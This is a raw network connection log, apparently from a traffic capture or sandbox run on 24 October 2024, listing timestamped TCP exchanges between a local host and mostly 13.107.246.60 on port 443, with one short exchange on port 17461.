Oct 24, 2024 08:51:11.337577105 CEST	49896	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:11.337585926 CEST	443	49896	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:11.463287115 CEST	443	49893	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:11.463377953 CEST	443	49893	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:11.463504076 CEST	49893	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:11.463531017 CEST	443	49893	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:11.463629007 CEST	49893	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:11.465491056 CEST	49893	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:11.465538025 CEST	443	49893	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:11.465596914 CEST	49893	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:11.465615034 CEST	443	49893	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:11.467894077 CEST	443	49892	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:11.467983007 CEST	443	49892	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:11.468072891 CEST	49892	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:11.468741894 CEST	49892	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:11.468761921 CEST	443	49892	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:11.468782902 CEST	49892	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:11.468789101 CEST	443	49892	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:11.471255064 CEST	49897	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:11.471298933 CEST	443	49897	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:11.471429110 CEST	49897	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:11.471543074 CEST	49897	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:11.471550941 CEST	443	49897	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:11.473968983 CEST	49898	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:11.474005938 CEST	443	49898	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:11.474102974 CEST	49898	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:11.474392891 CEST	49898	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:11.474404097 CEST	443	49898	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:12.064416885 CEST	443	49895	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:12.064768076 CEST	443	49896	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:12.066046953 CEST	49895	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:12.066139936 CEST	443	49895	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:12.066196918 CEST	49896	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:12.066231012 CEST	443	49896	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:12.066473961 CEST	49896	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:12.066479921 CEST	443	49896	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:12.066684961 CEST	49895	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:12.066699982 CEST	443	49895	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:12.080985069 CEST	443	49894	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:12.081662893 CEST	49894	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:12.081696987 CEST	443	49894	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:12.082118988 CEST	49894	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:12.082134008 CEST	443	49894	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:12.190474987 CEST	443	49896	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:12.190666914 CEST	443	49896	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:12.190890074 CEST	49896	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:12.191164017 CEST	49896	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:12.191184998 CEST	443	49896	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:12.191196918 CEST	49896	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:12.191203117 CEST	443	49896	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:12.195522070 CEST	49899	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:12.195558071 CEST	443	49899	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:12.195707083 CEST	49899	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:12.195983887 CEST	49899	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:12.195996046 CEST	443	49899	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:12.197751045 CEST	443	49895	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:12.197925091 CEST	443	49895	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:12.198015928 CEST	49895	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:12.198096991 CEST	49895	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:12.198096991 CEST	49895	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:12.198139906 CEST	443	49895	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:12.198167086 CEST	443	49895	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:12.200287104 CEST	443	49897	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:12.204663992 CEST	49897	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:12.204684973 CEST	443	49897	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:12.205498934 CEST	49897	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:12.205503941 CEST	443	49897	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:12.205914021 CEST	49900	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:12.205957890 CEST	443	49900	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:12.206033945 CEST	49900	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:12.206183910 CEST	49900	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:12.206199884 CEST	443	49900	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:12.210474968 CEST	443	49898	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:12.210897923 CEST	49898	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:12.210927010 CEST	443	49898	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:12.211302996 CEST	49898	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:12.211309910 CEST	443	49898	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:12.212693930 CEST	443	49894	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:12.212841034 CEST	443	49894	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:12.212898970 CEST	49894	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:12.212933064 CEST	49894	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:12.212948084 CEST	443	49894	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:12.212961912 CEST	49894	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:12.212965965 CEST	443	49894	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:12.219949007 CEST	49901	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:12.219990015 CEST	443	49901	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:12.220069885 CEST	49901	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:12.220841885 CEST	49901	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:12.220855951 CEST	443	49901	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:12.329956055 CEST	443	49897	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:12.330029011 CEST	443	49897	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:12.330090046 CEST	49897	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:12.330116034 CEST	443	49897	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:12.330162048 CEST	443	49897	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:12.330214024 CEST	49897	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:12.330410957 CEST	49897	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:12.330430031 CEST	443	49897	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:12.333239079 CEST	49902	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:12.333340883 CEST	443	49902	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:12.333431959 CEST	49902	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:12.333631039 CEST	49902	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:12.333664894 CEST	443	49902	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:12.337812901 CEST	443	49898	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:12.338030100 CEST	443	49898	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:12.338150978 CEST	49898	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:12.338150978 CEST	49898	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:12.338190079 CEST	49898	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:12.338212967 CEST	443	49898	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:12.346894979 CEST	49903	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:12.346945047 CEST	443	49903	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:12.347004890 CEST	49903	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:12.347163916 CEST	49903	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:12.347177029 CEST	443	49903	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:12.928482056 CEST	443	49899	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:12.952953100 CEST	443	49900	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:12.958020926 CEST	443	49901	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:12.978679895 CEST	49899	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:12.996225119 CEST	49900	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:13.003182888 CEST	49901	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:13.066337109 CEST	49899	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:13.066354990 CEST	443	49899	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:13.066809893 CEST	49899	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:13.066816092 CEST	443	49899	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:13.067125082 CEST	49900	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:13.067150116 CEST	443	49900	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:13.067504883 CEST	49900	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:13.067509890 CEST	443	49900	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:13.067718029 CEST	49901	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:13.067745924 CEST	443	49901	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:13.068072081 CEST	49901	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:13.068078995 CEST	443	49901	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:13.286822081 CEST	443	49903	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:13.286921978 CEST	443	49902	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:13.287440062 CEST	49903	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:13.287481070 CEST	443	49903	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:13.287487984 CEST	49902	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:13.287508011 CEST	443	49902	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:13.287981987 CEST	49902	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:13.287990093 CEST	443	49902	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:13.288156986 CEST	49903	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:13.288165092 CEST	443	49903	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:13.403374910 CEST	443	49899	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:13.403518915 CEST	443	49900	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:13.403683901 CEST	443	49899	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:13.403737068 CEST	443	49900	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:13.403762102 CEST	49899	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:13.403808117 CEST	49900	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:13.405033112 CEST	49900	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:13.405050993 CEST	443	49900	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:13.405061007 CEST	49899	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:13.405061007 CEST	49899	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:13.405066967 CEST	49900	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:13.405072927 CEST	443	49900	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:13.405082941 CEST	443	49899	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:13.405095100 CEST	443	49899	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:13.407902002 CEST	49904	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:13.407938957 CEST	443	49904	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:13.407955885 CEST	49905	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:13.407999039 CEST	443	49905	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:13.408015966 CEST	49904	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:13.408050060 CEST	49905	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:13.408169985 CEST	49905	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:13.408174038 CEST	49904	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:13.408175945 CEST	443	49905	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:13.408185959 CEST	443	49904	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:13.416270018 CEST	443	49901	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:13.416304111 CEST	443	49901	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:13.416358948 CEST	443	49901	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:13.416358948 CEST	49901	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:13.416404009 CEST	49901	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:13.416548014 CEST	49901	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:13.416563034 CEST	443	49901	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:13.416596889 CEST	49901	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:13.416603088 CEST	443	49901	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:13.420854092 CEST	443	49902	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:13.420941114 CEST	443	49903	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:13.421010971 CEST	443	49903	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:13.421120882 CEST	443	49903	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:13.421190977 CEST	49903	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:13.421226025 CEST	49903	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:13.421226025 CEST	49903	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:13.421241999 CEST	443	49903	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:13.421255112 CEST	443	49903	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:13.421390057 CEST	443	49902	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:13.422962904 CEST	49906	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:13.422996998 CEST	443	49906	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:13.423011065 CEST	49902	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:13.423046112 CEST	49902	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:13.423063040 CEST	443	49902	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:13.423073053 CEST	49906	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:13.423085928 CEST	49902	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:13.423091888 CEST	443	49902	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:13.423230886 CEST	49906	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:13.423242092 CEST	443	49906	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:13.423403025 CEST	49907	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:13.423432112 CEST	443	49907	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:13.423549891 CEST	49907	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:13.423660040 CEST	49907	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:13.423670053 CEST	443	49907	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:13.424856901 CEST	49908	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:13.424885988 CEST	443	49908	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:13.424967051 CEST	49908	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:13.425086021 CEST	49908	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:13.425096035 CEST	443	49908	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:14.143060923 CEST	443	49905	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:14.143691063 CEST	49905	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:14.143724918 CEST	443	49905	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:14.144174099 CEST	49905	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:14.144181967 CEST	443	49905	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:14.153614044 CEST	443	49907	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:14.155993938 CEST	49907	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:14.156025887 CEST	443	49907	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:14.156310081 CEST	49907	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:14.156313896 CEST	443	49907	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:14.156757116 CEST	443	49904	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:14.157162905 CEST	49904	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:14.157191992 CEST	443	49904	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:14.157520056 CEST	49904	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:14.157531023 CEST	443	49904	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:14.167498112 CEST	443	49906	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:14.168134928 CEST	49906	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:14.168165922 CEST	443	49906	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:14.168831110 CEST	49906	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:14.168839931 CEST	443	49906	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:14.171380043 CEST	443	49908	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:14.171775103 CEST	49908	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:14.171807051 CEST	443	49908	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:14.172173977 CEST	49908	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:14.172179937 CEST	443	49908	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:14.248512983 CEST	49763	17461	192.168.2.4	3.67.15.169
Oct 24, 2024 08:51:14.255542994 CEST	17461	49763	3.67.15.169	192.168.2.4
Oct 24, 2024 08:51:14.287261963 CEST	443	49907	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:14.287544012 CEST	443	49907	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:14.287612915 CEST	443	49907	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:14.287619114 CEST	49907	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:14.287744045 CEST	49907	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:14.287744045 CEST	49907	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:14.287765980 CEST	49907	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:14.287781954 CEST	443	49907	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:14.289980888 CEST	443	49904	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:14.290060043 CEST	443	49904	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:14.290116072 CEST	49904	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:14.290148020 CEST	443	49904	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:14.290189028 CEST	443	49904	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:14.290235996 CEST	49904	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:14.290421963 CEST	49904	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:14.290450096 CEST	443	49904	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:14.290463924 CEST	49904	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:14.290472984 CEST	443	49904	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:14.290854931 CEST	49909	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:14.290890932 CEST	443	49909	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:14.290951967 CEST	49909	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:14.291275978 CEST	49909	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:14.291292906 CEST	443	49909	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:14.297848940 CEST	49910	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:14.297889948 CEST	443	49910	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:14.297949076 CEST	49910	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:14.298090935 CEST	49910	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:14.298105955 CEST	443	49910	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:14.303937912 CEST	443	49906	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:14.304007053 CEST	443	49906	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:14.304064989 CEST	49906	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:14.304152966 CEST	49906	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:14.304173946 CEST	443	49906	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:14.304187059 CEST	49906	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:14.304193974 CEST	443	49906	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:14.304277897 CEST	443	49908	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:14.304438114 CEST	443	49908	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:14.304491043 CEST	49908	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:14.304689884 CEST	49908	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:14.304703951 CEST	443	49908	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:14.304718018 CEST	49908	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:14.304723024 CEST	443	49908	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:14.306433916 CEST	49911	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:14.306457996 CEST	443	49911	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:14.306519032 CEST	49911	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:14.306704998 CEST	49911	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:14.306716919 CEST	443	49911	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:14.307394028 CEST	49912	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:14.307482004 CEST	443	49912	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:14.307576895 CEST	49912	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:14.309201002 CEST	49912	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:14.309237957 CEST	443	49912	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:14.320717096 CEST	443	49905	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:14.320810080 CEST	443	49905	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:14.320871115 CEST	49905	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:14.320979118 CEST	49905	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:14.320997000 CEST	443	49905	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:14.321007013 CEST	49905	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:14.321012974 CEST	443	49905	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:14.327717066 CEST	49913	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:14.327770948 CEST	443	49913	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:14.327836037 CEST	49913	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:14.327972889 CEST	49913	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:14.327986002 CEST	443	49913	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:15.031990051 CEST	443	49910	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:15.032639027 CEST	49910	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:15.032681942 CEST	443	49910	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:15.033073902 CEST	49910	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:15.033081055 CEST	443	49910	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:15.043826103 CEST	443	49909	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:15.046382904 CEST	443	49911	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:15.046403885 CEST	49909	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:15.046422005 CEST	443	49909	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:15.046675920 CEST	49911	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:15.046686888 CEST	443	49911	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:15.046947002 CEST	49909	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:15.046950102 CEST	443	49909	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:15.047111988 CEST	49911	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:15.047116041 CEST	443	49911	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:15.047895908 CEST	443	49912	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:15.048260927 CEST	49912	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:15.048296928 CEST	443	49912	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:15.048593998 CEST	49912	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:15.048602104 CEST	443	49912	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:15.056453943 CEST	443	49913	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:15.056720018 CEST	49913	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:15.056761026 CEST	443	49913	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:15.057061911 CEST	49913	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:15.057074070 CEST	443	49913	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:15.163253069 CEST	443	49910	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:15.163350105 CEST	443	49910	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:15.163542032 CEST	49910	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:15.178366899 CEST	443	49912	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:15.178446054 CEST	443	49912	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:15.178626060 CEST	443	49909	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:15.178634882 CEST	49912	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:15.178751945 CEST	443	49909	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:15.178792000 CEST	49909	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:15.178792953 CEST	443	49909	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:15.178843021 CEST	49909	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:15.180485964 CEST	443	49911	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:15.181014061 CEST	443	49911	13.107.246.60	192.168.2.4
